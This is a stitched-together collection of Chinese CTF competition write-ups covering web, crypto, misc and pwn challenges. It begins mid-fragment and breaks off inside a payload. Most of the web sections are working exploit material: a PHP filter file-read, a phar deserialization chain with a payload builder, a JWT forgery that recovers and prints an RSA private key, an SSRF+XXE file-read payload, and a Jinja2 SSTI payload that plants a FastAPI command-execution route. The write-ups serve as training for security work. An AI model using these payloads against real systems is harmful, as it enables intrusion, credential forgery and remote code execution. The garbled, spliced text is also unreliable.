have_node.pop()4142read_node(start_addr)43# yzyzyzyzyyzxzyyyzxzyzxxxzxzyyyyyyyyzxzxzyy 得到flag{4bb5dac3-c578-66a2-d97a-664be7965820} CRYPTORandomRSA普遍意义上来说,nextprime不会超出枚举范围,两层组合,复杂度上来看也依然可以尝试, n的结构很简单的二元式子,flag也证明了只需爆破,一些格的做法这里似乎找不到合适的放缩,维度也较低,故而放弃 ‍ 大约3h ‍ b'flag{j1st_e_s1mp1e_b3ute}' ‍ PWNFlowerShopKylin_Heap 漏洞点位于free这个地方,由于没有清空指针造成的uaf,通过这个即可泄露地址和进行任意地址写,由于libc版本为2.31,所以劫持free_hook 转自参考原文连接地址: https://xz.aliyun.com/t/15560?time__1311=Gqjxn7iti%3DiQDQD%2Fm%3D0%3DDOKN0QynZOOA3frD#toc-1https://blog.csdn.net/weixin_74427106/article/details/142039971https://lrhtony.cn/2024/09/09/2024ccb/http://www.andynoel.xyz/
  12. 一、WEB1.消失的flag访问提示Access Denied fakeip插件伪造ip 提示File is Null 尝试加file参数 ?file=index.php`提示`do not hack!! 大概是filter-chain 参考文章: https://www.cnblogs.com/linuxsec/articles/12684259.html https://blog.csdn.net/yuanxu8877/article/details/127607264 php://filter/convert.iconv可以成功 /?file=php://filter/convert.iconv.utf-8.utf-16/resource=index.php /?file=php://filter/convert.iconv.utf-8.utf-16/resource=/flag2.unserialize_web先看看有没有常见的备份文件或者robots.txt、www.zip、.git、.svn、.www.tar.gz这些 能发现有一个备份文件,www.tar.gz 那么访问 URL/www.tar.gz把备份文件下载下来 看见源码都在这里了,主要就是看upload.php和download.php 然后在CSDN能看到类似的题目,为: https://blog.csdn.net/m0_70819573/article/details/129506508 https://blog.csdn.net/2301_79708753/article/details/135873948 https://www.bilibili.com/read/cv21572905/ 然后打开题目的链接,开局一个上传表单,给我整不会了,不是说反序列化咩? 然后猜测,可能为需要文件上传加上反序列化的组合拳 然后搜索发现是phar反序列化—文件包含之反序列化(文件上传) else{ $extensions = array("gif", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $fileExtension = end($temp); $fileSizeCheck = $_FILES["file"]["size"]; $isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false; if ($fileSizeCheck && $isExtensionAllowed){ $fileContent = file_get_contents($_FILES["file"]["tmp_name"]); $haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();"); if(gettype($haltCompilerCheck) === "integer"){ echo "phar"; 从uoload.php的这段代码可以得知,只能上传gif、jpg、png的图片,并且会进行内容检查,文件中不可以包含有“__HALT_COMPILER();”的内容。 所以我们需要将等一下生成phar文件压缩成压缩包来绕过检查。 class File { public $val1; public $val2; public $val3; public function __construct() { $this->val1 = "val1"; $this->val2 = "val2"; } public function __destruct() { if ($this->val1 === "file" && $this->val2 === "exists") { if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) { eval($this->val3); } else { echo "Access Denied"; } } } public function __access() { $Var = "Access Denied"; echo $Var; } public function __wakeup() { $this->val1 = "exists"; $this->val2 = "file"; echo "文件存在"; } } 然后从download.php的这段代码可以得知是常规的反序列化。__destruct()魔术方法中有eval()函数可以利用来进行命令执行,存在命令执行漏洞。__destruct()方法里面的 if 语句会先判断变量v a l 1 是否全等于 f i l e ,变量 val1是否全等于file,变量val1是否全等于file,变量val2是否全等于exists。 然后到下面这段代码 if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) { eval($this->val3); 这段代码是一个 PHP 中的条件语句,用于检查一个字符串是否匹配一个特定的模式。如果匹配成功,就会执行 eval 函数来执行字符串中的代码。 让我们来看看这个正则表达式 /^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/: /^ 和 $ 表示字符串的开始和结束,确保整个字符串都匹配模式。 \s* 匹配零个或多个空白字符。 system 匹配字符串中的 system。 ( 和 ) 匹配左右括号。 \s* 匹配零个或多个空白字符。 'cat\s+/[^;]’ 匹配以单引号括起来的以 cat 开头的文件路径。其中: ’ 匹配单引号。 cat 匹配 cat 字符串。 \s+ 匹配一个或多个空白字符。 / 匹配斜杠 /。 [^;] 匹配零个或多个非分号字符。 ’ 匹配单引号。 \s* 匹配零个或多个空白字符。 ; 匹配分号。 换句话说,这个正则表达式用于检查字符串是否以 system('cat 开头,后面紧跟着一个文件路径,然后以 '); 结尾。 所以我们可以构造$val3的值为 system('cat /flag'); 来获取flag 如果 t h i s − > v a l 3 中的内容匹配这个模式,就会执行 e v a l ( this->val3 中的内容匹配这个模式,就会执行 eval(this−>val3中的内容匹配这个模式,就会执行eval(this->val3);,这意味着 $this->val3 中的代码将被执行。这种做法存在安全风险,因为它允许任意代码执行,可能导致代码注入等安全漏洞。 将正则表达式可视化https://wangwl.net/static/projects/visualRegex/# 然后这个还要注意需要绕过wakeup()魔术方法: public function __wakeup() { $this->val1 = "exists"; $this->val2 = "file"; echo "文件存在"; } 它强制把v a l 1 赋值为 e x i s t s , val1赋值为exists,val1赋值为exists,val2赋值为file,会导致我们在后面触发destruct()魔术方法的时候,if 判断会失效 ,所以我们需要绕过wakeup() 那就是需要用到CVE-2016-7124,它的影响范围是 PHP5 < 5.6.25 PHP7 < 7.0.10 而它的触发方式也很简单,那就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 所以接下来我们要构造一个phar文件,上传之后,让它执行反序列化,从而执行我们的代码 上传时候zip会绕过phar检测,但是phar伪协议会解压zip,在解压时候在file_get_contents()处我们的phar伪协议会触发反序列化,并且进行eval()的命令执行 phar文件生成代码: <?php ini_set("phar.readonly", "Off"); class File { public $val1; public $val2; public $val3; public function __construct() { $this->val1 = "file"; $this->val2 = "exists"; $this->val3 = "system('cat /flag');"; } } $a = new File(); $phar = new Phar('aa3.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); php phar.php 运行代码生成phar文件 可以通过010看到phar文件里面的内容是经过序列化的 但是上传然后访问的时候会报错 Warning: file_get_contents(phar://./upload/fuck.jpg): failed to open stream: phar "/var/www/html/upload/fuck.jpg" SHA1 signature could not be verified: broken signature in 这里有一个问题,我们在010处虽然可以修改phar文件绕过wakeup()魔术方法,但是这里存在签名认证,我们得修复签名 使用脚本修复,phar由data,data签名(20位),和签名格式(8位)组成 import gzip from hashlib import sha1 with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\aa3.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup h = f[-8:] # 获取签名类型以及GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) #print(newf) newf = gzip.compress(newf) #对Phar文件进行gzip压缩 with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\fuck3.png', 'wb') as file:#更改文件后缀 file.write(newf) 然后上传png图片 在download.php处进行POST传参,使用phar://协议伪来读取phar文件触发反序列化: file=phar://./upload/fuck3.png 最后获得flag flag为: 669b01045da0456ea2a2861ce57dd537 3.mypdf随手点了点功能没有什么发现,f12看源码里有www.zip 下载源码,看到有TCPDF v6.3.2 看题目注册功能,直接注册显示error,看源码注册的逻辑html/api.php 跟进到qInternal 会访问http://localhost:8082/``invites 然后到pdf/internal.py app.run(host='127.0.0.1', port=8082),本地8082端口开了python服务 然后本地调试到这里发现if(myJson['invite'] in open('invites.txt').read().split('\n')):绕不过 然后谷歌搜"ctf" TCPDF invites 搜索到 https://cloud.tencent.com/developer/article/2069757 https://r0.haxors.org/posts?id=15 https://b6a.black/posts/2021-05-22-3kctf/#ppaste-web-498-points 参考:https://r0.haxors.org/posts?id=15 invite:-3.3e99999999999999绕过注册成功 然后打内网的ssrf 其他地方和wp一样,打了好几次没打出来,外网无请求,猜测不出网 再去看源码,跟着原题wp找到ssrf地方的逻辑 对比原题 可以看到放了gopher 所以直接gopher打,测试了很久还是没测试出来 最后猜测可能是Cookie问题导致用户登录用的还是上一个用户的Cookie 直接注册admintest1,打ssrf给队友(admintest55),访问action:admin成功提升到admin 4.hackme0解题,赛后师兄出了,趁环境还在跟着复现一下 两用户弱口令登录得到两个token admin;123456 test;123456 token_test = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA" token_admin = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw' 登录成功提示不允许远程ip,伪造本地ip无果后发现是jwt里写死了ip { "user": "admin", "ip": "172.20.240.32" } 爆破密钥失败,扫目录发现有/vendor,里面可以看到有php-jwt的库以及版本 看对应版本的源码可以发现RS256都是用同一个私钥生成的,根据gcd(c1**e - m1, c2**e - m2)得到pq,就能解出私钥生成token 根据师兄提示找到以下项目以及wp,利用两个token https://github.com/silentsignal/rsa_sign2n https://ctftime.org/writeup/30541 https://github.com/DownUnderCTF/Challenges_2021_Public/tree/main/web/jwt 这里要低版本的python,所以直接用docker搭 git clone [email protected]:silentsignal/rsa_sign2n.git cd rsa_sign2n cd standalone docker build . -t sig2n docker run -it sig2n /bin/bash 运行生成 root@037eba26a164:/app# python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw [*] GCD: 0x1d [*] GCD: 0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803 [+] Found n with multiplier 1 : 0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803 [+] Written to 108b7c75aee1e2b9_65537_x509.pem [+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y' [+] Written to 108b7c75aee1e2b9_65537_pkcs1.pem [+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ' [+] Found n with multiplier 29 : 0x920d1e8a71b85eaf6bd01744d6c84f79f7c2361f955f3bb7b3907e2cedfc567cfeadf290c09e76df43717bc5acb5265d51233f069d1c1a390f097e43db86c6c9a571f54cf72ced06f45fa0e5a0b68f0d5f53f8f259ef620424bf1a1ee5e0de9f [+] Written to 920d1e8a71b85eaf_65537_x509.pem [+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4' [+] Written to 920d1e8a71b85eaf_65537_pkcs1.pem [+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8' ================================================================================ Here are your JWT's once again for your copypasting pleasure ================================================================================ eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.uQSDyjQ3E0qKbn2Z57ehjBwLWuG9ZS0cZMovJ4cOX2Y eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.PQh9QksKAeMoHlojbkthI3KFd8aJT_zJZGJcQF4MonQ eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.tfED-oSN1J63mhskbHzl-avEgr-xTGVBkYBicIkhkG4 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogInRlc3QiLCAiaXAiOiAiMTcyLjIwLjI0MC4zMiIsICJleHAiOiAxNzE1NjcxMTA3fQ.ILN5nCmS8koxi7qPNYe2A9d6ESr5OCPFydTgrdbrnq8 关注到108b7c75aee1e2b9_65537_x509.pem root@037eba26a164:/app# cat 108b7c75aee1e2b9_65537_x509.pem -----BEGIN PUBLIC KEY----- MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB -----END PUBLIC KEY----- 生成私钥 └─# python3 RsaCtfTool.py --publickey ../pub.pem --private ['../pub.pem'] [*] Testing key ../pub.pem. attack initialized... attack initialized... [*] Performing nonRSA attack on ../pub.pem. [+] Time elapsed: 0.0020 sec. [*] Performing factordb attack on ../pub.pem. [*] Attack success with factordb method ! [+] Total time elapsed min,max,avg: 0.0020/0.0020/0.0020 sec. Results for ../pub.pem: Private key : -----BEGIN RSA PRIVATE KEY----- MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8 wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3 s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G 9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc= -----END RSA PRIVATE KEY----- wp说可以用jwt.io生成token,但是不太会用,用脚本生成就行 pip3 install PyJWT import jwt private_key = """-----BEGIN RSA PRIVATE KEY----- MIIBnAIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8 wnks0vynK8S9A+l4kegxYrSxAgEdAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3 s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G 9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEFAmBhCOJfrQqHrhj9WlhcMx3KtTeN ahJ+AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOS nJ4kdR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQc= -----END RSA PRIVATE KEY-----""" token = jwt.encode({'user': 'admin', 'ip': '127.0.0.1'}, private_key, algorithm='RS256') print(token) #eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjEyNy4wLjAuMSJ9.CoYi8KRN7iRYT79NWwYEb_RlZJVyQS5lTfE0loA-wa-buAMWtsHsG4bsIeezu5rk_nJztLp36sz2d3Nz2psJl7RqjXGmOg83dwRo0DL9oJzoUxfbsq9GuBjOThLwNEwq7Q 生成了token访问到manager.php 可以看到有getfile.php和upload.php 看这个postjson很容易看出是打ssrf fuzz一下,url限制了oss.jxsec.cn用@绕过,然后发现读不到文件,去看看upload接口 upload.php上传文件返回路径http://``oss.jxsec.cn``:8000``/xx.jpg(大概是这个) "url":"``oss.jxsec.cn``@``localhost:8000``",返回xml解析错误,猜测后端用了libxml,所以打ssrf+xxe读文件 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "php://filter/resource=/flag">]> <creds> <user>&xxe;</user> </creds> 过滤了ENTITY、SYSTEM等关键字,编码绕过 cat ``1``.xml | iconv -f utf-8 -t utf-16 > test.xml { "url":"oss.jxsec.cn@localhost:8000", "file":"5c93a0cbbaafcb4a165613239184ec96.xml" } 二、MISC1.猜一猜将压缩包下载下来的时候 看见压缩包名类似MD5加密,使用MD5解密得到密码 https://www.cmd5.org/ 得到密码解密,发现是png格式文件,但是打不开,使用010工具查看16进制发现文件头丢失, 补全文件头 89504E47 发现图片是二维码 使用qcr扫描发现没结果,使用微信扫一扫发现 最后使用花朵解密解出flag https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo flag{rUsJyNdKhdKuS4VfO7} 2.你要的就在这解压压缩包获得一个PNG图片,用010打开,在文件尾部可以看见stegpy提示,猜测为 stegpy 隐写那么直接用kali来操作stegpy misc.png -p 发现需要密码,不知道密码那么继续看图片,发现是一道不定积分,答案是圆周率 π,联想到下面的数字六猜测可能是6位数字,那么 stegpy 隐写的密码可能是 3.1415https://mathdf.com/int/cn/获得一串字符3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone先将前面的那部分十六进制解码一下 然后对其进行DES解密CBC模式,key 和 偏移量都填上 luckyone最终解密获得flag flag{believe_you_are_lucky} 三、Crypto1.encipher根据给出的加密脚本,我们可以编写一个解密脚本来还原原始消息。由于 RSA 是非对称加密算法,需要使用私钥来解密消息。在这里,我们已经有了了私钥 d。先分析一下这段加密的代码:def encrypt(msg, N, e): msg = msg.encode() msg_length = len(msg) key = b'Life is like an ocean only strong-minded can reach the other shore' key = key[:msg_length] xor_key = strxor(msg, key) m = bytes_to_long(xor_key) c = pow(m, e, N) return c, key, N这段代码是一个简单的 RSA 加密函数,它接受消息 msg、公钥 N 和 e 作为输入,并返回加密后的消息 c、用于加密的密钥 key 和公钥 N。让我们来逐步分解这个函数: msg = msg.encode(): 将输入的消息转换为字节串。msg_length = len(msg): 获取消息的长度。key = b’Life is like an ocean only strong-minded can reach the other shore’: 定义一个密钥,长度与消息相同。key = key[:msg_length]: 如果密钥的长度超过消息长度,就截取与消息相同长度的部分。xor_key = strxor(msg, key): 使用异或运算对消息和密钥进行加密。m = bytes_to_long(xor_key): 将加密后的消息转换为一个长整数。c = pow(m, e, N): 使用 RSA 加密算法对消息进行加密,其中 m 是消息的长整数表示,e 是公钥的指数,N 是公钥的模数。最后返回加密后的消息 c、用于加密的密钥 key 和公钥 N。总的来说,这段代码使用了简单的对称加密方法(异或运算)对消息进行加密,然后使用 RSA 加密算法对加密后的消息进行进一步加密。然后编写解密脚本 from Crypto.Util.number import getPrime, bytes_to_longfrom Crypto.Util.strxor import strxorfrom Crypto.PublicKey import RSAfrom Crypto.Util.number import long_to_bytes def generate_rsa_params(key_size): p = getPrime(key_size) q = getPrime(key_size) N = p * q phi = (p - 1) * (q - 1) e = 65537 d = pow(e, -1, phi) return N, e, d def encrypt(msg, N, e): msg = msg.encode() msg_length = len(msg) key = b'Life is like an ocean only strong-minded can reach the other shore' key = key[:msg_length] xor_key = strxor(msg, key) m = bytes_to_long(xor_key) c = pow(m, e, N) return c, key, N def decrypt(ciphertext, N, d): # 使用 RSA 解密算法解密密文 m = pow(ciphertext, d, N) # 将长整数转换为字节串 xor_key = long_to_bytes(m) # 获取密钥的长度 key_length = len(xor_key) # 原始密钥 original_key = b'Life is like an ocean only strong-minded can reach the other shore' # 截取与密文长度相同的部分 original_key = original_key[:key_length] # 使用异或运算解密密文得到原始消息 original_msg = strxor(xor_key, original_key) # 返回解密后的消息 return original_msg.decode() # 已知条件d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451 # 使用生成的私钥 d 解密密文original_message = decrypt(ciphertext, N, d)print("Decrypted message:", original_message) 或者:from Crypto.Util.number import getPrime, long_to_bytesfrom Crypto.Util.strxor import strxorfrom Crypto.PublicKey import RSAd = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451 m = pow(ciphertext,d,N)xor_key = long_to_bytes(m)key = b'Life is like an ocean only strong-minded can reach the other shore'key = key[:len(xor_key)]msg = strxor(key,xor_key)print(msg) 这个脚本首先使用 RSA 解密算法 pow(ciphertext, d, N) 解密密文,然后将得到的长整数转换为字节串。接着,它使用异或运算来解密密文,得到原始消息。最后打印出解密后的原始消息。flag为:flag{1s_Pa33w0rd_1y2u22} https://dddkia.github.io/2024/05/13/%E7%AC%AC%E4%B8%89%E5%B1%8A%E5%B9%BF%E4%B8%9C%E7%9C%81%E5%A4%A7%E5%AD%A6%E7%94%9F%E7%BD%91%E7%BB%9C%E6%94%BB%E9%98%B2%E7%AB%9E%E8%B5%9B/https://blog.csdn.net/weixin_64422989/article/details/140065543
  13. WEBEncirclingGame题目描述:A simple game, enjoy it and get the flag when you complete it.开题,前端小游戏,红点出不去就行 直接玩通关了 看看如何不玩也能拿到flag,flag存储在后端php文件内,前端找不到。看一下游戏的请求包,里面记录了红点的最后位置和防火墙(黑点)的位置。 那么我们伪造下,防火墙绕满周围一圈,但是红点在最中间。路由:/verifyVictory.php 方法:POST{"gameState":{"virusPosition":{"x":5,"y":5},"firewalls":[{"x": 0, "y": 0}, {"x": 1, "y": 0}, {"x": 2, "y": 0}, {"x": 3, "y": 0}, {"x": 4, "y": 0},{"x": 5, "y": 0}, {"x": 6, "y": 0}, {"x": 7, "y": 0}, {"x": 8, "y": 0}, {"x": 9, "y": 0}, {"x": 10, "y": 0}, {"x": 0, "y": 10}, {"x": 1, "y": 10}, {"x": 2, "y": 10}, {"x": 3, "y": 10}, {"x": 4, "y": 10}, {"x": 5, "y": 10}, {"x": 6, "y": 10}, {"x": 7, "y": 10}, {"x": 8, "y": 10}, {"x": 9, "y": 10}, {"x": 10, "y": 10}, {"x": 0, "y": 1}, {"x": 0, "y": 2}, {"x": 0, "y": 3}, {"x": 0, "y": 4}, {"x": 0, "y": 5}, {"x": 0, "y": 6}, {"x": 0, "y": 7}, {"x": 0, "y": 8}, {"x": 0, "y": 9}, {"x": 10, "y": 1}, {"x": 10, "y": 2}, {"x": 10, "y": 3}, {"x": 10, "y": 4}, {"x": 10, "y": 5}, {"x": 10, "y": 6}, {"x": 10, "y": 7}, {"x": 10, "y": 8}, {"x": 10, "y": 9}]},"token":"game-lab-token"}GoldenHornKing题目描述:举一反三。开题,直接给了源码 import os # 导入操作系统相关的模块import jinja2 # 导入 Jinja2 模板引擎模块import functools # 导入工具函数模块,提供高阶函数import uvicorn # 导入 Uvicorn,用于运行 ASGI 应用from fastapi import FastAPI # 从 FastAPI 库中导入 FastAPI 类,用于创建应用from fastapi.templating import Jinja2Templates # 从 FastAPI 导入 Jinja2Templates,用于模板渲染from anyio import fail_after, sleep # 从 anyio 库中导入 fail_after 用于设置超时,以及 sleep 用于异步睡眠 # 指定所使用的库的版本:# jinja2==3.1.2# uvicorn==0.30.5# fastapi==0.112.0 def timeout_after(timeout: int = 1): # 定义一个超时装饰器,默认超时时间为1秒 def decorator(func): # 接收一个函数作为参数 @functools.wraps(func) # 保留被装饰函数的元信息 async def wrapper(*args, **kwargs): # 定义一个异步包装函数 with fail_after(timeout): # 在指定的超时时间内执行被装饰的函数 return await func(*args, **kwargs) # 等待并返回被装饰函数的执行结果 return wrapper # 返回包装函数 return decorator # 返回装饰器函数 app = FastAPI() # 创建一个 FastAPI 应用实例access = False # 定义一个全局变量,用于控制访问权限 _base_path = os.path.dirname(os.path.abspath(__file__)) # 获取当前文件的绝对路径,并提取其目录路径t = Jinja2Templates(directory=_base_path) # 创建一个 Jinja2Templates 实例,指定模板文件的目录 @app.get("/") # 定义一个处理根路径的 GET 请求的路由@timeout_after(1) # 使用超时装饰器,设置超时时间为1秒async def index(): # 定义异步处理函数 return open(__file__, 'r').read() # 打开当前文件并读取其内容,作为响应返回 @app.get("/calc") # 定义一个处理 /calc 路径的 GET 请求的路由@timeout_after(1) # 使用超时装饰器,设置超时时间为1秒async def ssti(calc_req: str): # 定义异步处理函数,接收一个字符串参数 calc_req global access # 声明使用全局变量 access if (any(char.isdigit() for char in calc_req)) or ("%\" in calc_req) or not calc_req.isascii() or access: # 检查 calc_req 中是否包含数字字符,或者包含字符 '%',或者是否全为 ASCII 字符,或者 access 为 True return "bad char" # 如果满足上述任意条件,返回 "bad char" else: jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app}) # 使用 Jinja2 模板引擎渲染 calc_req 表达式,传递 app 对象作为上下文 access = True # 设置 access 为 True,限制进一步访问 return "fight" # 返回 "fight" if __name__ == "__main__": # 判断是否为主程序入口 uvicorn.run(app, host="0.0.0.0", port=8000) # 使用 Uvicorn 运行应用,监听所有网络接口的8000端口是一个jinja2的SSTI,限制是不能包含数字字符,或者包含字符 '%',或者是全为 ASCII 字符,或者 access 为 True同时,只要一次access 为 True后便无法再次输入,得重启环境(好像有点似曾相识,NSS round20我也这样子出题的仓库里翻一个内存马出来方法1:#直接访问/shell路由app.add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())转为SSTIpayload应该如下,由于是FastAPI,add_url_rule换成add_api_route。同时绕过了题目限制{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag', lambda:__import__('os').popen('cat /flag').read())")}}payload:/calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")访问flag路由读取flag 方法2:打内存马进行rce 打FastAPI内存马,在FastAPI类有一个add_api_route方法,我们可以通过这个方法来增加一个路由,进行rce app.add_api_route('/shell', lambda: 